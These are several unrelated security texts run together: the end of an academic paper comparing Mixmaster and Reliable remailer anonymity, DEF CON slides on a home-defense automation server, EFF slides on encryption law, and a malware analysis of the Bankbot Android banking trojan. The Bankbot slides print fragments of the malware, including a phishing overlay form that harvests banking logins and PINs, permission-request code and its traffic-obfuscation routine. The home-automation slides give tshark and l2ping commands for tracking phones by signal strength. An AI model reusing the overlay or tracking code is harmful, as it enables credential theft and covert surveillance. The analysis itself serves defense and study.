sections, Mixmaster and Reliable have very different behaviours for the same traffic stream. Note that we have modified the default (1 hour) mean delay of Reliable in order to make a fair comparison between the two mixes (so the average delay of all messages is the same for the two mixes). Mixmaster priorizes the anonymity over the delay, and it provides a mini- mum recipient (sender) anonymity of around 7, equivalent to perfect indistin- guisability among 27 = 128 input (output) messages. When the traffic load decreases, Mixmaster provides a larger latency in order to keep the anonymity in high levels. Reliable delays messages according to an exponential distribution, regardless of the traffic load. This has an effect in the anonymity, that will only have high values when there is a high traffic load. When the traffic load decreases, the anonymity provided by Reliable goes down to very low values. In some cases of very low load, Reliable does not provide anonymity at all. Our conclusion is that a continuous mix like Reliable is not appropriate to provide anonymous services for applications that do not have real-time require- ments (like email). A pool mix like Mixmaster should be used instead. Continuous mixes like Reliable may be useful for real-time applications with tight delay constraints (like web browsing). Nevertheless, in order to provide acceptable levels of anonymity, the traffic load should be kept high. 6 Other factors which influence anonymity We have evaluated the anonymity strength of the mixing algorithms imple- mented in Mixmaster and Reliable. Additional factors have a direct impact on the anonymity provided by the system. Concerns such as the security of the underlying operating system, host server integrity, proper implementation of the cryptographic functions provided by the remailer software, and likelihood of administration mistakes all contribute to the overall anonymity these software packages can provide. We assume that no active attacks against the software occurred during the development or compilation process, though additional con- cerns are present in that area [Tho84]. This paper does not aim to be an in-depth analysis of the full spectrum of host-attacks against remailer nodes, Nevertheless, it is important to mention some significant differences between Reliable and Mixmaster which may affect their ability to provide adequate anonymity for their users. 6.1 Host server integrity The security of an operating mix is dependent on the security of the underlying host server. Many factors can impact the underlying system’s security. Some considerations include shared access to the system by untrusted users, access 11 to key material on disk or in memory, and the ability to insert shims to attack dynamically loaded libraries called by the remailer software. Reliable is limited to operation on the Windows platform. Mixmaster is portable, and has been known to run on a wide variety of operating systems.3 Host server security is ultimately the responsibility of the remailer operator. 6.2 UI Issues In privacy application client, an intuitive user interface is essential in order to ensure that the software is used consistently and correctly [Sas02]. A greater level of skill can safely be assumed when designing privacy software which is intended to be operated as a service, however. Most anonymity systems, in- cluding mix-net implementations, do imply a significant degree of complexity. Due to the fact that the operation of a public Internet service involves the cor- rect configuration and maintenance of the host server, this necessary complexity is acceptable as long as the operator’s skill level is sufficient. The level of skill required to properly install, configure, and operate a mix-net node should not exceed that required to properly install, configure, and operate the server itself. The software packages we evaluated differed with regard to their interface complexity in a number of areas. In general, Reliable has a greater ”ease of use” factor with respect to its interface. Mixmaster automates many important tasks, such as adaptive dummy generation, key rotation and key expiration announcement, and integrates more easily with the host MTA 4. Reliable’s installation process is easier, but its build process requires the use of third-party commercial applications and assumes experience with Windows development, so most users will install a pre-compiled binary. Compilation of Mixmaster is performed through a simple shell script. At first glance, it appears that Reliable will be easier for hobbyists to op- erate than Mixmaster. However, Mixmaster’s difficulty does not rise above the difficulty of maintaining a secure Internet-connected server, and thus has little effect on the overall security of a mix node deployment. Hobbyists unable to maintain Mixmaster are equally unlikely to be able to secure their host server. 6.3 Programming language While the most critical factor in the creation of secure code is the manner in which it is written, some languages lend themselves to greater risk of exploitable mistakes. An inexperienced or unskilled programmer will always be able to make an application insecure. The choice of programming language merely sets the bar for the required level of experience and ability necessary to develop applications in that language safely. Thus, when evaluating the likelihood of the 3There have been instances of remailers based on the Mixmaster 3.0 codebase operating on SunOS, Solaris, SunOS, AIX, Irix, BeOS, MacOS X, Windows NT (natively and through the use of Cygwin), Windows 2000 (natively and through the use of Cygwin), Windows XP (through the use of Cygwin), FreeBSD, NetBSD, OpenBSD, and multiple versions of Linux. 4Mail Transport Agent, e.g. sendmail or postfix 12 existence of exploitable code in an application, it is worthwhile to consider the programming language used to create that application. Since neither Mixmaster nor Reliable were written by seasoned software developers, we assume a level of experience which would allow for simplistic security mistakes.5 6.4 Included libraries In addition to the standard POSIX libraries provided by the compilation OS, Mixmaster 3.0, the version of Mixmaster evaluated in this paper, requires that the zlib [DG96] and OpenSSL [CEHL] libraries be included. Optionally, Mix- master also links against pcre [Haz] an ncurses [BHRPD]. Reliable requires many native Windows system calls as well as the third- party application, Mixmaster 2.0.4. 6.5 Cryptographic functions Both Mixmaster and Reliable avoid direct implementation of cryptographic al- gorithms when possible. Mixmaster 3.0 relies strictly on OpenSSL for these cryptographic functions. Any attackable flaws in the cryptographic library used to build Mixmaster which affect the security if the algorithms6 used by Mix- master may be a an attack against Mixmaster as well. Reliable abstracts the cryptographic operations one step further. To support the Mixmaster message format, Reliable acts as a wrapper around the DOS version of Mixmaster 2.0.4. Thus, any attack against the Mixmaster message format due to implementation flaws in Mixmaster 2.0 will work against Reliable as well. Mixmaster 2.0.4 relies on the cryptographic library OpenSSL or its predecessor SSLeay for the MD5, EDE-3DES, and RSA routines.7 6.6 Entropy sources The quality of the entropy source plays an extremely important role in both the pool mix and S-G mix schemes. In pool mix systems, the mixing in the pool must be cryptographically random in order to mix the traffic in a non-deterministic way. The timestamps used to determine how long a message should be held by an S-G mix implementation must also be from a strong entropy source for the 5The bulk of the code for Mixmaster 3.0 was written by Ulf M¨oller as his first major software development project while completing his undergraduate computer science degree [M¨02]. He has since gained respect as a skilled cryptographic software developer for his open source and proprietary development projects. Reliable was authored under a pseudonym, and we can only speculate about the level of experience of its author. (There has been no known communication with the author of Reliable since February, 2000). 6It is understood that flaws in the cryptographic algorithms will affect the security of software which relies upon those algorithms. However, since most attacks on cryptographic applications are due to flaws in the implementation, care must be taken when evaluating the shared cryptographic libraries. 7Prior to the expiration of the RSA patent, versions of Mixmaster 2.0 offered support for the RSAREF and BSAFE libraries as well. Use of these versions of Mixmaster is largely abandoned. 13 same reasons. In addition, the Mixmaster message format specifies the use of random data for its message and header padding. All software is dependent on its underlying operating system for a good source of entropy. Cryptographic quality entropy is a scarce resource on most systems8, and therefore the entropy sources provided by most modern operat- ing systems actually provide PRNG output which has been seeded with truly- random data. Mixmaster uses OpenSSL’s rand functions9. Reliable uses the standard Windows system call, Rnd(), when obtaining entropy, with the exception of message and header padding (which is done by the supporting Mixmaster 2.0.4 binary). The Rnd() function is not a cryptographically strong source of entropy. Rnd() starts with a seed value and generates numbers which fall within a finite range. Previous work has demonstrated that systems which use a known seed to a deterministic PRNG are trivially attackable [GW96, Cor]. While its use of Rnd() to determine the latency for a message injected into the mix is the most devastating, Reliable uses Rnd() for many other critical purposes as well. 6.7 Network timing attacks Packet counting, deduction of pool variables by timing observation. Affects pool-mixes more than s-g mixes, possibly aids attacker in some non-host based active attacks such as (n − 1) attacks. The anonymity strength of a remailer should not require pool values to be hidden, and countermeasures to this class of active attacks should be taken. [DS03a] 7 Conclusions and future work In this paper we have analyzed the traffic pattern of a real traffic stream going through a working mix node and found that the traffic is not Poisson, as it is commonly assumed in the literature. The traffic pattern is highly impredictable. Therefore, no assumptions on the traffic should be made when designing a mix. We measure the anonymity of the pool mix scheme used in Mixmaster by applying a metric previously proposed in the literature. We provide our own metric for evaluating the anonymity of the S-G mix variant used in Reliable which does not assume a Poisson traffic pattern. Our comparison of the two predominant mixing applications shows that Mixmaster provides superior anonymity, and is better suited for the anonymiza- tion of email messages than Reliable. Mixmaster provides a minimum level of anonymity at all times; Reliable does not. Reliable’s anonymity drops to nearly zero if the traffic is very low. In high-traffic situations, Mixmaster provides a higher maximum of anonymity than Reliable for the same stream of input: 10.5 8Systems which employ the use of noisy diodes, or other plentiful sources of entropy have less of a concern for entropy pool exhaustion. 9OpenSSL relies on its internal PRNG seeded with various system sources to provide cryptographically strong entropy. 14 of Mixmaster versus 10 of Reliable. We have shown that Mixmaster provides higher average anonymity than Reliable for the same input and same average delay. Due to its nature as a pool mix, Mixmaster provides higher delays than Reliable in low traffic conditions. Comparatively, due to the nature of S-G Mixes, Reliable’s delay is not dependent on the traffic. In addition, we have identified a number of key points of attack and weakness in mix software to which anonymity software designers need to pay particular attention. In addition to the areas of theoretical weakness which we have iden- tified, we discovered a fatal flaw in the use of randomness in Reliable, which diminishes its ability to provide anonymity, independent of our findings with regard to the S-G mix protocol. We can conclude from our analysis of the mixing algorithms used by these mix implementations that S-G mixes are not suitable for use with systems that may have occurrences of low traffic on the network. While S-G mixes are an appropriate solution to low-latency applications such as web mixing, pool mixes should be used for higher latency systems with fluctuating traffic loads. Acknowledgments Claudia D´ıaz is funded by a research grant of the K.U.Leuven. This work was also partially supported by the IWT STWW project on Anonymity and Privacy in Electronic Services (APES), and by the Concerted Research Action (GOA) Mefisto-2000/06 of the Flemish Government. Evelyne Dewitte is a research assistant with the I.W.T. (Flemish Institute for Scientific and Technological Research in Industry). Research supported by Research Council KUL: GOA-Mefisto 666, several PhD/postdoc & fellow grants; Flemish Government: FWO: PhD/postdoc grants, projects, G.0240.99 (multilinear algebra), G.0407.02 (support vector machines), G.0197.02 (power islands), G.0141.03 (identification and cryptography), G.0491.03 (control for intensive care glycemia), G.0120.03 (QIT), research communities (ICCoS, AN- MMM); AWI: Bil. Int. Collaboration Hungary/ Poland; IWT: PhD Grants, Soft4s (softsensors), Belgian Federal Government: DWTC (IUAP IV-02 (1996- 2001) and IUAP V-22 (2002-2006)), PODO-II (CP/40: TMS and Sustainabil- ity); EU: CAGE; ERNSI; Eureka 2063-IMPACT; Eureka 2419-FliTE; Contract Research/agreements: Data4s, Electrabel, Elia, LMS, IPCOS, VIB. The authors also want to thank Jasper Scholten for looking at the feasibility of some simulation algorithms, Peter Palfrader for assisting with the gathering of input data for our simulations, and members of The Shmoo Group for discussion of secure programming issues. A Method to compute the anonymity of Reli- able To formalize the behaviour of the mixes, we define: 15 • Xs : an incoming message arriving at time s; • Yt : an outgoing message leaving at time t; • D : the amount of time a message has been delayed. We know that the mixes delay the messages exponentially and we have set the mean to 43 minutes: D ∼ exp(1/43): pdf : f(d) = 1 43e− 1 43 d for all d ≥ 0 ; = 0 elsewhere ; cdf : F(d) = P(D ≤ d) = 1 − e− 1 43 d for all d ≥ 0 ; = 0 elsewhere . All delay times are independent. Crucial to note in this setup is that the sequence of outgoing messages is not a Poisson process. This would only be true if all inputs would arrive at the same time, hence belong to the mix when the delaying starts. But in our case, messages arrive at distinct moments in time, each being delayed upon their ar- rival times. Mixes flush at fixed time moments which are observed by the attacker: t ∈ {out1, out2, . . . , outM}. He also observes the arrival times: s ∈ {in1, in2, . . . , inN}. If a message leaves the mix at time t, what are then the probabilities for the arrival times? Suppose the departure time t =out is fixed. We then look for the probability that the message that left at time out is the same message as the one that entered the mix at time s: P(Yout = Xs) = P(D = out − s) . We can hence rephrase the problem in terms of the delay: which values for the delay times are the most probable? Clearly, negative delay is impossible so only arrival times prior to out are probable. These arrival times form a set {in1, in2, . . . , ink} with ink < out. The matching delay times are then { out-in1, out-in2,. . . , out-ink } to which we will refer to as {d1, d2, . . . , dk}. Note that d1 > d2 > . . . > dk. We are almost at the solution as the density function of the delay times is known! Caution has to be taken however as the exponential function is a continuous function which means that the probabil- ity of the delay taking a single value is zero: P(D = d1) = . . . = P(D = dk) = 0! 16 Figure 9: An example of an exponential probability density function Figure 10: The matching exponential cumulative density function How can we then calculate the probabilities of the delay times? To make this clear, let us look at figure 9 and suppose that we only have three arrival times prior to out. We have thus three possible delays d1 > d2 > d3. Let us now assume for simplicity reasons that d1 = 3 hours, d2 = 2 hours and d3 = 1 hour. The variable delay is continuous and can theoretically take every value in the interval [0, 3]. However, we know that we only flush at three particular times and that hence only three particular delays can occur. We can exploit this knowledge in the following way: P(D = d1) ≈ P(d2 < D ≤ d1) = yellow surface ; P(D = d2) ≈ P(d3 < D ≤ d2) = green surface ; P(D = d3) ≈ P(0 < D ≤ d3) = blue surface . In this way one can clearly see that the biggest surface corresponds to the most probable delay! This is straightforward for more than three delays. For computation we make use of the cumulative distribution function (cdf) which is graphed in figure 10. Cumulative probabilities are listed in tables and known in statistical software. For reasons of simplicity we put the mean of the exponential 17 to be 1 hour (easy parameterization): P(D = d1) ≈ F(d1) − F(d2) = 0.9502 − 0.8647 = 0.0855 ; P(D = d2) ≈ F(d2) − F(d1) = 0.8647 − 0.6321 = 0.2326 ; P(D = d3) ≈ F(d3) = 0.6321 . In our little example, the message corresponds most likely with the one that entered the mix 1 hour before out. You can also clearly see this on figure 9. In practical applications however, many possible delays will occur so that visual inspections will not be efficient and calculations have to made and compared. A.1 Uniform Delays Reliable allows for mix-chosen uniform delays if the users do not specify any delay for their messages. We have found a method to compute the anonymity provided by a mix that delays inputs uniformly from a distribution U[a, b]. The method consists in creating a tables with all inputs and outputs. Then we search for all possible combinations input-output that are possible from an external observer’s point of view (i.e., those that assign to every input that arrives at time T an output that leaves between T + a and T + b). Let us call the total number of combinations C. Then, in order to compute the recipient (sender) anonymity of message mi, we need to find the distribution of probabilities that link this input (output) to all outputs (inputs). If input mi appears matching output sj in P cases, then the probability assigned to sj is P/C. The probability of an input of matching an output is computed as possible cases divided by total cases. ¿From this distribution, the sender and recipient anonymity can be computed for every message. Unfortunately, due to the large amount of messages considered, the imple- mentation of this algorithm in our case is not feasible. References [BHRPD] Z. Ben-Halim, E. Raymond, J. Pfeifer, and T. Dickey. Ncurses. [CEHL] M. Cox, R. Engelschall, S. Henson, and B. Laurie. The OpenSSL Project. [Cha81] David Chaum. Untraceable electronic mail, return addresses, and digital pseudonyms. Communications of the ACM, 4(2):84–88, February 1981. [Cor] Microsoft Corporation. Visual basic language reference–rnd func- tion. MSDN Library. 18 [Cot] Lance Cottrell. Mixmaster and remailer attacks. [Cot95] Lance Cottrell. Announcement: Mixmaster 2.0 remailer release! Usenet post, May 1995. [DDM03] George Danezis, Roger Dingledine, and Nick Mathewson. Mixmin- ion: Design of a Type III Anonymous Remailer Protocol. In Pro- ceedings of the 2003 IEEE Symposium on Security and Privacy, May 2003. [DG96] P. Deutsch and J-L. Gailly. ZLIB Compressed Data Format Specifi- cation version 3.3. Request for Comments: 1950, May 1996. [DP04] Claudia Diaz and Bart Preneel. Reasoning about the anonymity provided by pool mixes that generate dummy traffic. In Accepted submission at IH2004, 2004. [DS03a] George Danezis and Len Sassaman. Heartbeat traffic to counter (n-1) attacks. In Proceedings of the Workshop on Privacy in the Electronic Society (WPES 2003), Washington, DC, USA, October 2003. [DS03b] Claudia Diaz and Andrei Serjantov. Generalising mixes. In Privacy Enhacing Technologies, LNCS, Dresden, Germany, April 2003. [DSCP02] Claudia Diaz, Stefaan Seys, Joris Claessens, and Bart Preneel. To- wards measuring anonymity. In Roger Dingledine and Paul Syverson, editors, Proceedings of Privacy Enhancing Technologies Workshop (PET 2002). Springer-Verlag, LNCS 2482, April 2002. [GW96] Ian Goldberg and David Wagner. Randomness and the Netscape browser. Dr. Dobb’s Journal, January 1996. [Haz] Philip Hazel. Perl compatible regular expressions. [KEB98] Dogan Kesdogan, Jan Egner, and Roland B¨uschkes. Stop-and-go MIXes: Providing probabilistic anonymity in an open system. In Proceedings of Information Hiding Workshop (IH 1998). Springer- Verlag, LNCS 1525, 1998. [M¨02] Ulf M¨oller. Personal communication. Private email to Len Sassaman, August 2002. [MCPS03] Ulf M¨oller, Lance Cottrell, Peter Palfrader, and Len Sassaman. Mix- master Protocol — Version 2, July 2003. [PK00] Andreas Pfitzmann and Marit Kohntopp. Anonymity, unobservabil- ity and pseudonymity — a proposal for terminology. In Designing Privacy Enhancing Technologies: Proceedings of the International Workshop on the Design Issues in Anonymity and Observability, pages 1–9, July 2000. 19 [RPr99] RProcess. Selective denial of service attacks. Usenet post, September 1999. [Sas02] Len Sassaman. The promise of privacy. Invited talk, LISA XVI, November 2002. [SD02] Andrei Serjantov and George Danezis. Towards an information theo- retic metric for anonymity. In Roger Dingledine and Paul Syverson, editors, Proceedings of Privacy Enhancing Technologies Workshop (PET 2002). Springer-Verlag, LNCS 2482, April 2002. [Tho84] K. Thompson. Reflections on trusting trust. Communications of the ACM, 27(8), August 1984. 20
pdf
Chris&Li(lebury& Senior&Penetra4on&Tester&with&Knowledge&Consul4ng&Group& Chris.Li(lebury@KnowledgeCG.com& & I&like&building&stuff.& About&me& DDISCLAIMERD& I&am:& •  Providing&ideas,&examples,&and&code&of&what’s&worked&for&me.& •  Open&to&ques4ons&aQerward&and&sugges4ons.& & I&am&not:& •  GeRng&paid&to&endorse&any&products.& •  Promising&an&end&to&burglaries.& •  Advoca4ng&seRng&up&booby&traps&in&your&home.& •  Challenging&anyone&to&“test”&my&home.&&Please,&please&do&not.& & & Once&Upon&a&Time&in&South&Texas& Once&Upon&a&Time&in&South&Texas& Once&Upon&a&Time&in&South&Texas& My&$1500&Thief&Magnet& *h(p://learningcenter.statefarm.com/ auto/safety/mostDstolenDcarsDofD2009/& I&Had&an&Idea& •  Remove&the&main&fuel& relay&at&night& •  Install&twoDway&alarm& system&with&only&paging& func4onality.& Success!& (Depending&on&how&you&look&at&it)& My&Awesome&Apartment&Complex& /u/TheDovahkiinsDad&(Not&me&or&my&pic)& & h(p://www.reddit.com/r/WTF/comments/ 2784oo/ my_buddies_jeep_was_set_on_fire_by_some_ crazy_ass/& & Movin’&on&Up& Tips&From&Cops& •  Make&your&home&look&occupied,&and&make&it&difficult&to&break&in.& •  Leave&lights&on&when&you&go&out.&If&you&are&going&to&be&away&for&a&length&of&4me,& connect&some&lamps&to&automa4c&4mers&to&turn&them&on&in&the&evening&and&off& during&the&day.& •  Lock&all&outside&doors&and&windows&before&you&leave&the&house&or&go&to&bed.&Even& if&it&is&for&a&short&4me,&lock&your&doors.& •  Keep&your&garage&door&closed&and&locked.& •  Don't&allow&daily&deliveries&of&mail,&newspapers&or&flyers&build&up&while&you&are& away.&Arrange&with&the&Post&Office&to&hold&your&mail,&or&arrange&for&a&friend&or& neighbor&to&take&them&regularly.& h(p://www.sjpd.org/bfo/community/Crimeprev/Preven4onTips/Prevent_Burglary.html& X10&Protocol& DCreated&in&the&late&1970s.& & DData&is&encoded&onto&a&120khz&carrier&which&is&transmi(ed&as&bursts& during&the&zero&crossings&of&the&60hz&AC&waveform.&&One&bit&is& transmi(ed&at&each&zero&crossing.& & DFour&bit&house&code,&four&bit&unit&code,&and&four& &bit&command.& & DStupid&cheap& & DProne&to&interference& & DEach&command&set&sent&three&4mes& & & & X10&Hardware& Again,&stupid&cheap& X10&Setup& D  Light&4mers&that&operated& &&&&&&by&day&of&the&week&and&& &&&&&&4me& & D  Security&4ming&feature& D  Remote&control&(RF)& D  Not&awesome,&but&worked& & X10&–&Adding&Exterior&Ligh4ng& So&Long&South&Texas& Time&to&Do&it&Right*& *I&do&not&advocate&crea4ng&laser&booby&traps&in&your&home.& Wish&list& •  Efficient&ligh4ng& •  Granular&control&over&4ming&events& •  Integra4on&into&exis4ng&security&system& •  Adap4ve&4ming& •  Condi4onal&decision&system& •  InDhouse&geoDfencing& •  Defense&against&wireless&home&automa4on&a(acks& •  Create&tangible&house&reac4ons&to&external&s4muli&(ac4ve& defenses)& & New&Programmable&Light&Tech:&LIFX& LIFX&Pros/Cons& Pros:& •  Excellent&color&reproduc4on& •  802.11&builtDin&(no&hub&needed)& •  White&output&of&over&1000&lumens&& •  Low&power&consump4on&(17&wa(s&at&full& brightness)& Cons:& •  Bulbs&are&physically&large&(limits&fixture&selec4on)& •  Rela4vely&heavy&(again,&limits&fixture&selec4on)& Philips&Hue&Pros/Cons& Pros:& •  Small&bulb&size&(fits&in&regular&fixtures)& •  Low&power&consump4on&(8.5&wa(s&at&full&brightness)& •  Slightly&cheaper& Cons:& •  Lower&light&output& •  Limited&color&reproduc4on& Combine&the&Two& WeMo&Devices& D  WLAN&to&Zigbee&bridge& like&LIFX&devices& D  Uses&UPnP&and&SOAP& D  Control&outlets&and&wall& switches& D  SemiDcheap& D  Terrible&App&support& D  Scheduling&rules&that& some4mes&work& D  Integra4on&with&IFTTT& that&works&20%&of&the& 4me& D  Terrible&security& &&&&&&h(p://bit.ly/1e6Vsvt& Crea4ng&a&Home&Defense&Server& D  Needs&to&be&available&24/7& D  Low&power&consump4on&would&be&nice&(UPS)& D  Integra4on&of&analog/digital&sensors&and&components& D  Output&for&integra4on&into&tradi4onal&home&security&system& D  Raspberry&Pi&was&the&obvious&choice& Previous&Experience&with&Pis& Open&Source&to&the&Rescue!& Magicmonkey&–&lifxjs:&&h(ps://github.com/magicmonkey/lifxjs& &&DReversed&the&LIFX&protocol& &&DPaved&the&way& & Sharph&–&lifxDpython:&&h(ps://github.com/sharph/lifxDpython& &&DBased&on&Magicmonkey’s&protocol&dissec4on&and&js&library& &&DWri(en&in&glorious&Python& &&DAwesome&API&that&bridges&WLAN&to&LIFX’s&Zigbee&(802.15&915mhz)&protocol& & LIFX&Official&API:&h(ps://github.com/LIFX/lifxDgem& &&DWri(en&in&Ruby& &&DSupport&for&addressing&mul4ple&bulbs&at&once& &&& iancmcc’s&ouimeaux:&h(ps://github.com/iancmcc/ouimeaux& &D&Extensive&Python&API&for&WeMo&devices& &D&Applica4on&wri(en&on&top&of&the&official&API& && & & Crea4ng&a&Front&End&and&Services& •  Choose&a&lightweight&framework&like& Flask&(Python)&or&Sinatra&(Ruby)& •  Create&services&for&each&tech&(LIFX,&Hue,& WeMo)& •  Individual&services&prevent&systemDwide& failures&and&segregate&code& •  Choose&a&lightweight&database&like&Redis& and&host&it&on&a&separate&Pi& •  Create&monitoring&services&with&alerts& & All&code&available&postDconference&at:& h(ps://github.com/lowercaseDb& & Device&Proximity&Monitoring& D  Original&plan&was&to&use&Bluetooth&ranging& D&Linux’s&rfcomm/hcitool/l2ping& &D&Inconsistent&results& &D&Required&constant&packet&transmission&for&RSSI&values& &D&Would&brick&the&device&if&too&aggressive& &D&Demo:&&h(p://www.youtube.com/watch?v=DSMaUdPEJMM& & & #!/bin/bash while : do l2ping -c 3 <BT MAC ADDR> & sleep 2 hcitool rssi <BT MAC ADDR> status sleep 5 done & Device&Proximity&Monitoring& U4lize&WLAN&Frames& &D&Much&more&reliable& &D&Doesn’t&brick&the&device& &D&Allows&for&monitoring&of&addi4onal&devices&(guests)& &D&Requires&airmonDng&suite& Specific&device’s&Received&Signal&Strength&Indicator&(RSSI):& tshark -i mon0 -f "wlan src host <WLAN MAC>" -l -T fields –e radiotap.dbm_antsignal & & All&devices&visible&and&their&RSSI:& tshark -i mon0 -l -T fields -e radiotap.dbm_antsignal -e wlan.sa All&fields&available&for&a&specific&device:& tshark -i mon0 -f "wlan src host <WLAN MAC>" -l -T pdml & Device&Proximity&Monitoring& •  Created&a&service&that&looks&for&preDdefined&list&of&mobile&phone&MACs&(flat&file)& •  Looks&for&WLAN&beacon&frames&and&calculates&signal&strength& •  Records&last&known&signal&strength&and&last&4me&seen&in&Redis&db& •  Capability&for&historical&recording&of&loca4onal&data& •  Separate&service&monitors&4mestamps&and&determines&if&devices&are&present& •  Updates&database&flags&which&affect&decision&making&in&other&services& & Adap4ve&Scheduling&System& D  “SmartCron”&system& D  Schedules&all&ligh4ng&events& D  Pulls&sunrise/sunset&data&from&Weather&Underground’s&API&(free)& D  Creates&randomized,&variable&windows&for&events&centered&around&sunrise,& sunset,&etc& D  Events&are&condi4onal&on&other&event&flags&in&the&main&database& D  Monitors&local&weather&to&advance&evening&ligh4ng&in&cases&of&severe&weather&& Again,&all&code&available&postDconference& at:&h(ps://github.com/lowercaseDb& & Defenses&Against&WirelessDBased& A(acks& D  U4lizes&picoDdopp&doppler&system&for&realD4me&direc4on&finding& D  Detects&persistent&wireless&a(acks&outside&the&perimeter&of&the&house&(jamming)& D  See&h(p://www.silcom.com/~pelican2/PicoDopp/PICODOPP.htm&for&parts/equipement& D  Works&against&345&mhz& &&&&&&sensor&a(acks&and&Zwave& D  Requires&Ethernet&to&& &&&&&ensure&aler4ng&isn’t& &&&&&jammed& Keep&the&Change&you&Filthy&Animal:& Ac4ve&Defenses&& D  Intruders&desire&anonymity& D  Anything&that&can&be&electronically&ac4vated&and&produce&a&loud,&audible&response& D  Flash&all&house&lights&in&red& D  Rocket&igniters&and&firecrackers& D  12V&solenoids&to&knock&over&heavy&objects&(scuba&tanks)& D  DO&NOT&CREATE&ANYTHING&THAT&CAN&HARM!& Roadmap& D  Buy&ZDWave&devices&and&integrate&them& D  Integrate&SDR&scanning&and&data&sniffing& D  Hear&ideas&from&DEFCON&folks& Ques4ons?& If&you&have&any&ques4ons,&please&come&find&me&or& email&me&at&Chris.Li(lebury@knowledgecg.com& &
pdf
Crypto: State of the Law DEF CON 24 Nate Cardozo, Senior Staff Attorney, EFF 783A 8CC4 166D 1768 4E8E DAFD 2D76 4786 4AE6 3181 “End to end encryption is legal. Period.” Jennifer Granick, Black Hat 2016 Questions? “The Net interprets censorship as damage and routes around it.” John Gilmore, ~1993 The First Crypto Wars The First Crypto Wars If all you have is a hammer… If all you have is a J.D. … And the Internet was a safer place for it! Thank your lucky PKIs for ECCN 5D002!! •  We thought we had solved the field… – But thanks to Comey – More work remains The Next Crypto Wars What could possibly go wrong? What if we re-named back doors? The slide you are about to see is false. Legislation •  Many countries around the world are considering legislation that would either – mandate backdoors, – mandate access to plaintext or – endanger encryption. UK IPB and the Death of e2e AUS DSGL and the Death of all crypto… ! + " = # $$$ Thanks Obama •  October 2015: We “will not —for now—call for legislation requiring companies to decode messages for law enforcement.” Thanks Obama •  November 2015: Identify laws that need to be changed to deal with “going dark.” Thanks Obama •  March 2016: “My conclusion so far is that you cannot take an absolutist view on this…it's fetishizing our phones above every other value. And that can't be the right answer.” All Writs Act Litigation •  Apple v. FBI –  This is the San Bernardino iPhone case –  Also, a case in EDNY Other Litigation •  Wiretap Act litigation may be coming –  New York Times report re: WhatsApp •  There may be FISA Court orders –  EFF is in the middle of a FOIA case to get access to them Burr-Feinstein Bill •  Would require providers to decrypt on demand –  Criminal and civil penalties •  Applies to comms, storage, and licensing –  This includes app stores and open source •  Not just e2e and FDE –  This would outlaw computers as we know them 2016 •  What are we looking at? –  Key escrow mandate •  I don’t think this is actually going to happen. – Burr-Feinstein •  This definitely won’t happen (in the current form) –  We don’t care how, just make plaintext available. •  This is the route the UK seems to be taking… Defaults, not Primitives •  California AB 1681 •  New York A8093A 2016 •  But what is actually likely? –  Informal pressure –  No ban will reach FOSS crypto –  CALEA-like mandate –  Countries around the world may do dumb things It’s not going to work this time any better than it did the last time. So what’s to be done? •  What if you’re a developer staring down the barrel of an order/request/demand/NSL? •  What if you’re a regular person? •  What if you just have some questions? mailto:info@eff.org https://ssd.eff.org Questions? Nate Cardozo Senior Staff Attorney, EFF : nate@eff.org : @ncardozo 783A 8CC4 166D 1768 4E8E DAFD 2D76 4786 4AE6 3181
pdf
Analyzing Bankbot whoami Malware Analyst at Hispasec. ■ ■ ■ @entdark_ What is Bankbot? Origins 6 7 ■ ■ ■ 8 AV detections 9 1 0 1 1 1 2 Overlays ■ ■ ■ ■ 1 3 Android Toast ■ ■ ■ ■ 1 4 1 5 Cloak & Dagger Client side 1 7 Infection workflow 1 8 Malicious websites are still a thing 1 9 Infection workflow if (Build.VERSION.SDK_INT >= 23) { int i = checkCallingOrSelfPermission("android.permission.SEND_SMS"); if ((Build.VERSION.SDK_INT >= 23) && (i != 0)) { requestPermissions(new String[] { "android.permission.SEND_SMS", "android.permission.READ_CONTACTS", "android.permission.ACCESS_FINE_LOCATION" }, 1); } } 2 1 Infection workflow ■ android.permission.SEND_SMS ■ android.permission.READ_CONTACTS ■ android.permission.ACCESS_FINE_LOCATION ■ android.permission.DEVICE_ADMIN 2 2 Device Admin? 2 3 Data theft 2 4 Data theft 2 5 Comparison: Real Login vs Overlay 2 6 Initial targets… ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● 2 7 Increasing targets… Commerzbank Royal Bank of Scotland, Santander Lloyds... 2 8 Target injects retrieval if (packagename.equals(“ru.sberbankmobile”)) { ... } 2 9 APK has no information of the targeted entities Target injects retrieval 3 0 Targets 3 1 Targets 3 2 3 3 JNI ● Arm64-v8a ● armeabi ● armeabi-v7a 3 4 JNI 3 5 JNI 3 6 JNI getProc() /proc /proc/cmdline 3 7 JNI send_sms /android/telephony/SmsManager/ sendTextMessage 3 8 JNI Server side 4 0 Backend 4 1 C&C ✓ ✓ ✓ ✓ ✓ ✓ ✓ IMEI CARRIER/PHN NO VERSION, APK, COUNTRY MODEL DATE ACTIONS 4 3 Components ■ add_inj.php ■ add_log.php ■ commands.php ■ config.php ■ crypt.php ■ kliets.php ■ tuk_tuk.php ■ set_data.php 4 4 Communications <tag>37 55 67 78 79 37 55 67</tag> <form action="/private/add_inj.php?p=5w 53 56 53 5w 55 48 5e 55 54 54 53 55 48 55 37 55 67 37 68 48 37 57 7q 37 68 49 37 56 48 7 68 48 37 66 56 37 68 48 37 66 5q 37 68 48 37 66 48 37 68 49 37 56 5q 5q 5e 37 55 67"method="post"id="mf"name="mf"onsubmit="return true"> <input type="tel" value="+380" placeholder="Логин" id="privat24-login" name="privat24_login" maxlength="13"> <input placeholder="Пароль" id="privat24-password" name="privat24_password"> <input placeholder="ПИН-код любой вашей карты ПриватБанк" id="privat24-pin" name="privat24_pin"> <button class="btn btn-success mb"onclick="send_info()"style="">ВОЙТИ</button> 4 7 Data theft 4 8 Encryption function encrypt(string, key) //шифрование траффа логов str = urlencode(string) ret = "" for(i=0 i<mb_strlen(str) i++) r1 = ord(mb_substr(str, i, 1)) ret = "ret r1" for(i=0 i<mb_strlen(key) i++) ret = str_replace(i, mb_substr(key, i, 1), ret) ret = mb_substr(ret, 1, mb_strlen(ret)) //! return ret 4 9 It’s possible to decrypt the comms. 5 0 Anecdotes 5 4 Google Play 5 5 Dropper workflow SUCCESS? YES NO NO NO YES YES Next reboot... YARA - DEMO QUESTIONS?
pdf
